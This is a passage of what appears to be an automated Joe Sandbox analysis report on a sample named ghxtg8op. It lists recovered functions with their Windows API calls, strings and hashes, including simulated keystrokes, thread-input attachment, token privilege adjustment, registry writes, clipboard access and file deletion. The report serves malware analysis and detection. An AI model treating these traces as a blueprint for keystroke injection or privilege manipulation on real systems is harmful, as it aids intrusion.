SendMessageW.USER32(?,00001012,00000000,?), ref: 00DCD123
SendMessageW.USER32 ref: 00DCD154
ClientToScreen.USER32(?,?), ref: 00DCD1B2
TrackPopupMenuEx.USER32 ref: 00DCD1E2
SendMessageW.USER32(?,00001111,00000000,?), ref: 00DCD20C
SendMessageW.USER32 ref: 00DCD22F
ClientToScreen.USER32(?,?), ref: 00DCD281
TrackPopupMenuEx.USER32 ref: 00DCD2B5

Part of subcall function 00D425DB: GetWindowLongW.USER32(?,000000EB), ref: 00D425EC

GetWindowLongW.USER32(?,000000F0), ref: 00DCD351

Strings

@GUI_DRAGID, xrefs: 00DCCE9C
F, xrefs: 00DCD235
pb, xrefs: 00DCCEAF

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F$pb
API String ID: 3977979337-96320988
Opcode ID: d3860fbe0ceff8e028b9e1c98e01bfc97559b10f182eae0d691b133202ac27d8
Instruction ID: 2a848b4894f5de87fbdb8feb0dbc1555a288eefcceabf55d16c78da422a7413e
Opcode Fuzzy Hash: d3860fbe0ceff8e028b9e1c98e01bfc97559b10f182eae0d691b133202ac27d8
Instruction Fuzzy Hash: 07427974214342AFDB25CF64C845FAABBE6EF49310F181A2DF6A9D72A0C731D844DB61

Function 00D56F9E Relevance: 48.8, APIs: 19, Strings: 6, Instructions: 5018COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00D571C3
_memset.LIBCMT ref: 00D57539
_memmove.LIBCMT ref: 00D576AC

Strings

[:<:]], xrefs: 00D57479
[:>:]], xrefs: 00D57492
\b(?<=\w), xrefs: 00D93773
DEFINE, xrefs: 00D92103
Q\E, xrefs: 00D57FCB
\b(?=\w), xrefs: 00D93769

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: _memmove$_memset
String ID: DEFINE$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)
API String ID: 1357608183-1798697756
Opcode ID: a0020e64f75c84fb8e53cf723774e346de71642efd852672189ab77d65447e9d
Instruction ID: 847409002247402327f3dbb919206f98b7e546c0044b24f51aebccd66461101f
Opcode Fuzzy Hash: a0020e64f75c84fb8e53cf723774e346de71642efd852672189ab77d65447e9d
Instruction Fuzzy Hash: 3B939275A00215DBDF24CF98D881BBDB7B1FF48310F29816AED55AB291E7709E81CB60

Function 00D448D7 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00D448DF
FindWindowW.USER32 ref: 00D7D665
IsIconic.USER32(?), ref: 00D7D66E
ShowWindow.USER32(?,00000009), ref: 00D7D67B
SetForegroundWindow.USER32(?), ref: 00D7D685
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00D7D69B
GetCurrentThreadId.KERNEL32 ref: 00D7D6A2
GetWindowThreadProcessId.USER32(?,00000000), ref: 00D7D6AE
AttachThreadInput.USER32(?,00000000,00000001), ref: 00D7D6BF
AttachThreadInput.USER32(?,00000000,00000001), ref: 00D7D6C7
AttachThreadInput.USER32(00000000,?,00000001), ref: 00D7D6CF
SetForegroundWindow.USER32(?), ref: 00D7D6D2
MapVirtualKeyW.USER32(00000012,00000000), ref: 00D7D6E7
keybd_event.USER32 ref: 00D7D6F2
MapVirtualKeyW.USER32(00000012,00000000), ref: 00D7D6FC
keybd_event.USER32 ref: 00D7D701
MapVirtualKeyW.USER32(00000012,00000000), ref: 00D7D70A
keybd_event.USER32 ref: 00D7D70F
MapVirtualKeyW.USER32(00000012,00000000), ref: 00D7D719
keybd_event.USER32 ref: 00D7D71E
SetForegroundWindow.USER32(?), ref: 00D7D721
AttachThreadInput.USER32(?,?,00000000), ref: 00D7D748

Strings

Shell_TrayWnd, xrefs: 00D7D660

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 5cbc924bcea3ecf94a465aa1bb26e76e694afb07f8ec6363505317e7a7b1e4b1
Instruction ID: ac79a639494c5fbd9869ca917a555c40c9e38206ee69b9b61c87051ccb665423
Opcode Fuzzy Hash: 5cbc924bcea3ecf94a465aa1bb26e76e694afb07f8ec6363505317e7a7b1e4b1
Instruction Fuzzy Hash: D1319571A403197BEB205B618C49FBF3E6EEF44B50F144025FA05EA2D1D6B05C01AAB0

Function 00D98310 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00D987E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00D9882B
Part of subcall function 00D987E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00D98858
Part of subcall function 00D987E1: GetLastError.KERNEL32 ref: 00D98865

_memset.LIBCMT ref: 00D98353
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00D983A5
CloseHandle.KERNEL32(?), ref: 00D983B6
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00D983CD
GetProcessWindowStation.USER32 ref: 00D983E6
SetProcessWindowStation.USER32 ref: 00D983F0
OpenDesktopW.USER32 ref: 00D9840A

Part of subcall function 00D981CB: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00D98309), ref: 00D981E0
Part of subcall function 00D981CB: CloseHandle.KERNEL32(?), ref: 00D981F2

Strings

winsta0, xrefs: 00D983C8
, xrefs: 00D98362
default, xrefs: 00D98405

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 15b1b96f1d751bdd1e18bbca41a10ee5236632db06038984de85f151b3874c37
Instruction ID: e9cba85d4ed76ff0ad1307bd42346519107c5253c3201f3166f9af44f80bd827
Opcode Fuzzy Hash: 15b1b96f1d751bdd1e18bbca41a10ee5236632db06038984de85f151b3874c37
Instruction Fuzzy Hash: 8D8158B190020AAFDF519FA4CC45EFEBBB9EF05704F184169F914A6261DB318E19EB70

Function 00DAC75C Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00DAC78D
FindClose.KERNEL32(00000000), ref: 00DAC7E1
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00DAC806
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00DAC81D
FileTimeToSystemTime.KERNEL32(?,?), ref: 00DAC844
__swprintf.LIBCMT ref: 00DAC890
__swprintf.LIBCMT ref: 00DAC8D3

Part of subcall function 00D47DE1: _memmove.LIBCMT ref: 00D47E22

__swprintf.LIBCMT ref: 00DAC927

Part of subcall function 00D63698: __woutput_l.LIBCMT ref: 00D636F1

__swprintf.LIBCMT ref: 00DAC975

Part of subcall function 00D63698: __flsbuf.LIBCMT ref: 00D63713
Part of subcall function 00D63698: __flsbuf.LIBCMT ref: 00D6372B

__swprintf.LIBCMT ref: 00DAC9C4
__swprintf.LIBCMT ref: 00DACA13
__swprintf.LIBCMT ref: 00DACA62

Strings

%02d, xrefs: 00DAC91B, 00DAC925, 00DAC973, 00DAC9C2, 00DACA11, 00DACA60
%4d%02d%02d%02d%02d%02d, xrefs: 00DAC88A
%4d, xrefs: 00DAC8CD

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: 3a6741976b8cdbc2932910501df2ff0d0efcd046953df03d1a9e6a6731d83d89
Instruction ID: ed060481759585c8a829a4227af3cebebf37285556104bf4b08f7f4fa6259a3a
Opcode Fuzzy Hash: 3a6741976b8cdbc2932910501df2ff0d0efcd046953df03d1a9e6a6731d83d89
Instruction Fuzzy Hash: 76A10AB1418345ABC710EBA5C896DAFB7ECFF99700F400929F595C6192EB35DA08CB72

Function 00DAEF95 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75701228,?,00000000), ref: 00DAEFB6
_wcscmp.LIBCMT ref: 00DAEFCB
_wcscmp.LIBCMT ref: 00DAEFE2
GetFileAttributesW.KERNEL32(?), ref: 00DAEFF4
SetFileAttributesW.KERNEL32(?,?), ref: 00DAF00E
FindNextFileW.KERNEL32(00000000,?), ref: 00DAF026
FindClose.KERNEL32(00000000), ref: 00DAF031
FindFirstFileW.KERNEL32(*.*,?), ref: 00DAF04D
_wcscmp.LIBCMT ref: 00DAF074
_wcscmp.LIBCMT ref: 00DAF08B
SetCurrentDirectoryW.KERNEL32(?), ref: 00DAF09D
SetCurrentDirectoryW.KERNEL32(00DF8920), ref: 00DAF0BB
FindNextFileW.KERNEL32(00000000,00000010), ref: 00DAF0C5
FindClose.KERNEL32(00000000), ref: 00DAF0D2
FindClose.KERNEL32(00000000), ref: 00DAF0E4

Strings

*.*, xrefs: 00DAF048

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 1a72f560748e4bf359fd822e21fdf9f19a7068fcee162b7c33da4fe797f5dc01
Instruction ID: f63b1ebd5373a50a319030432f8b1b50e2f4e5209dff8d80e15796c8ade0a53b
Opcode Fuzzy Hash: 1a72f560748e4bf359fd822e21fdf9f19a7068fcee162b7c33da4fe797f5dc01
Instruction Fuzzy Hash: 9731BF3250121A6EDB149BA4DC48FEEB7ADDF4A360F1441B5E804E31A1DB70DA44CA79

Function 00DC0857 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00DC0953
RegCreateKeyExW.ADVAPI32(?,?,00000000,00DCF910,00000000,?,00000000,?,?), ref: 00DC09C1
RegCloseKey.ADVAPI32(00000000), ref: 00DC0A09
RegSetValueExW.ADVAPI32 ref: 00DC0A92
RegCloseKey.ADVAPI32(?), ref: 00DC0DB2
RegCloseKey.ADVAPI32(00000000), ref: 00DC0DBF

Strings

REG_DWORD, xrefs: 00DC0C83
REG_EXPAND_SZ, xrefs: 00DC0A2F
REG_QWORD, xrefs: 00DC0D00
REG_BINARY, xrefs: 00DC0D4D
REG_SZ, xrefs: 00DC0AD0
REG_MULTI_SZ, xrefs: 00DC0B7A

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: 26a76c045516059306466d808c75db802c68201650924e432c769f9ded38ade3
Instruction ID: b0bb29b8f1af00282156bd8fbaf58136e8ebf6549a65278a46c8c7eaa5283c25
Opcode Fuzzy Hash: 26a76c045516059306466d808c75db802c68201650924e432c769f9ded38ade3
Instruction Fuzzy Hash: 02024A756006029FCB14EF19C891E2ABBE5FF89710F04855DF88A9B362CB31EC45CBA1

Function 00DAF0F2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,75701228,?,00000000), ref: 00DAF113
_wcscmp.LIBCMT ref: 00DAF128
_wcscmp.LIBCMT ref: 00DAF13F

Part of subcall function 00DA4385: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00DA43A0

FindNextFileW.KERNEL32(00000000,?), ref: 00DAF16E
FindClose.KERNEL32(00000000), ref: 00DAF179
FindFirstFileW.KERNEL32(*.*,?), ref: 00DAF195
_wcscmp.LIBCMT ref: 00DAF1BC
_wcscmp.LIBCMT ref: 00DAF1D3
SetCurrentDirectoryW.KERNEL32(?), ref: 00DAF1E5
SetCurrentDirectoryW.KERNEL32(00DF8920), ref: 00DAF203
FindNextFileW.KERNEL32(00000000,00000010), ref: 00DAF20D
FindClose.KERNEL32(00000000), ref: 00DAF21A
FindClose.KERNEL32(00000000), ref: 00DAF22C

Strings

*.*, xrefs: 00DAF190

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: 98f320b2865f3ca57fbfd5526ea8af2fba29b87d65127dfe6738bb6199baf138
Instruction ID: ee5f4bccf3418d830c66d6286898492e34bc15dd51e1efe713d84791692debdd
Opcode Fuzzy Hash: 98f320b2865f3ca57fbfd5526ea8af2fba29b87d65127dfe6738bb6199baf138
Instruction Fuzzy Hash: 7231B33650021A7ADF10ABA4EC49FEEB7ADDF46360F1441B5E800E31A1DB70DE49CA79

Function 00DAA1EF Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00DAA20F
__swprintf.LIBCMT ref: 00DAA231
CreateDirectoryW.KERNEL32(?,00000000), ref: 00DAA26E
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00DAA293
_memset.LIBCMT ref: 00DAA2B2
_wcsncpy.LIBCMT ref: 00DAA2EE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00DAA323
CloseHandle.KERNEL32(00000000), ref: 00DAA32E
RemoveDirectoryW.KERNEL32(?), ref: 00DAA337
CloseHandle.KERNEL32(00000000), ref: 00DAA341

Strings

\, xrefs: 00DAA247
\??\%s, xrefs: 00DAA22B
:, xrefs: 00DAA252

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: d6ad04d4d02efc281951a71d3742f07113fc55b631aced3e9adf2138b59894af
Instruction ID: d6d60b28c4c349b1000e940ecc31be1944b12ffeb394c424b35f37a5d5ab755d
Opcode Fuzzy Hash: d6ad04d4d02efc281951a71d3742f07113fc55b631aced3e9adf2138b59894af
Instruction Fuzzy Hash: 7F31BEB190020AABDB219FA4DC49FEB77BDEF89740F1441B6FA08D2160EB749644CB35

Function 00D566E1 Relevance: 18.4, Strings: 14, Instructions: 889COMMON

Download Yara Rule

Strings

NO_START_OPT), xrefs: 00D9114F
UTF16), xrefs: 00D910CF
CRLF), xrefs: 00D912C1
LIMIT_MATCH=, xrefs: 00D91170
ANYCRLF), xrefs: 00D912FB
UCP), xrefs: 00D9110D
BSR_UNICODE), xrefs: 00D91338
LF), xrefs: 00D912A4
UTF), xrefs: 00D910FA
NO_AUTO_POSSESS), xrefs: 00D9112E
CR), xrefs: 00D91287
BSR_ANYCRLF), xrefs: 00D9131E
ANY), xrefs: 00D912DE
LIMIT_RECURSION=, xrefs: 00D911FC

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID:
String ID: ANY)$ANYCRLF)$BSR_ANYCRLF)$BSR_UNICODE)$CR)$CRLF)$LF)$LIMIT_MATCH=$LIMIT_RECURSION=$NO_AUTO_POSSESS)$NO_START_OPT)$UCP)$UTF)$UTF16)
API String ID: 0-4052911093
Opcode ID: 79b8a3e60c28d985a84a07dfdcaef5a86bc1e5327c38e3521b225f27713e7269
Instruction ID: 344f8afc3c40277af9e3fa7822716f5084cfd1b7ce4bb604ec18a1a204ce1ba8
Opcode Fuzzy Hash: 79b8a3e60c28d985a84a07dfdcaef5a86bc1e5327c38e3521b225f27713e7269
Instruction Fuzzy Hash: A9726E75E0021A9BDF14DF58C8807AEB7B5FF48311F54816AED49EB290EB70D985CBA0

Function 00DA001C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00DA0097
SetKeyboardState.USER32(?), ref: 00DA0102
GetAsyncKeyState.USER32 ref: 00DA0122
GetKeyState.USER32(000000A0), ref: 00DA0139
GetAsyncKeyState.USER32 ref: 00DA0168
GetKeyState.USER32(000000A1), ref: 00DA0179
GetAsyncKeyState.USER32 ref: 00DA01A5
GetKeyState.USER32(00000011), ref: 00DA01B3
GetAsyncKeyState.USER32 ref: 00DA01DC
GetKeyState.USER32(00000012), ref: 00DA01EA
GetAsyncKeyState.USER32 ref: 00DA0213
GetKeyState.USER32(0000005B), ref: 00DA0221

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: e7b0791633a7e4e20c4ab95219da09a41e8539a3982b5ce91e688d8f1ea7960e
Instruction ID: 4ff9430ee2b95991f888095198a9219b78e9b0b9dd48c92afb2113123d192766
Opcode Fuzzy Hash: e7b0791633a7e4e20c4ab95219da09a41e8539a3982b5ce91e688d8f1ea7960e
Instruction Fuzzy Hash: D451D62090478829FB35DBA088557EABFB49F03380F0C459ED9C25B5C2DAA49B8CC776

Function 00DC03DA Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00DC0E1A: CharUpperBuffW.USER32(?,?), ref: 00DC0E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00DC04AC

Part of subcall function 00D49837: __itow.LIBCMT ref: 00D49862
Part of subcall function 00D49837: __swprintf.LIBCMT ref: 00D498AC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00DC054B
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00DC05E3
RegCloseKey.ADVAPI32(000000FE), ref: 00DC0822
RegCloseKey.ADVAPI32(00000000), ref: 00DC082F

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 89138de237bbbcd5b5c9d335d7ed3a4d8ec9d2c2464fbe253ddabb4a614226a8
Instruction ID: 01c2f6a2caf29b5d7f2c991321068f6403d2e00fee0b1377fd226fc5ef599ec3
Opcode Fuzzy Hash: 89138de237bbbcd5b5c9d335d7ed3a4d8ec9d2c2464fbe253ddabb4a614226a8
Instruction Fuzzy Hash: D9E15D71204211EFCB14DF28C891E6BBBE5EF89714F04896DF84ADB261DB31E905CBA1

Function 00DB4164 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00DB418B
EmptyClipboard.USER32 ref: 00DB4191
GlobalAlloc.KERNEL32(00000002,?), ref: 00DB41A6
CloseClipboard.USER32 ref: 00DB4245

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000005.00000002.486429614.0000000000D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DCF000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486469254.0000000000DF4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486498391.0000000000DFE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.486505856.0000000000E07000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_d40000_ghxtg8op.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 77624620c4ef1affb8dc60064bcb7934c659fa148e13fe279723f0f369ccc86e
Instruction ID: 63fa77aff7c5a2cafab4828f446ca8506091ee071dde6089bd1794edec1aeac3
Opcode Fuzzy Hash: 77624620c4ef1affb8dc60064bcb7934c659fa148e13fe279723f0f369ccc86e
Instruction Fuzzy Hash: EB217E356003129FDB10AF29DC19FAABBA9EF05751F148026F946DB3A2DB30AC418B74

Function 00DA37EF Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D44750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00D44743,?,?,00D437AE,?), ref: 00D44770

Part of subcall function 00DA4A31: GetFileAttributesW.KERNEL32(?,00DA370B), ref: 00DA4A32

FindFirstFileW.KERNEL32(?,?), ref: 00DA38A3
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00DA394B
MoveFileW.KERNEL32 ref: 00DA395E
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00DA397B
FindNextFileW.KERNEL32(00000000,00000010), ref: 00DA399D
FindClose.KERNEL32(00000000,?,?,?,?), ref: 00DA39B9

Strings

\*.*, xrefs: 00DA384E, 00DA3857, 00DA386C

Memory Dump Source

Source File: 00000005.00000002.486436880.0000000000D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D40000, based on PE: true

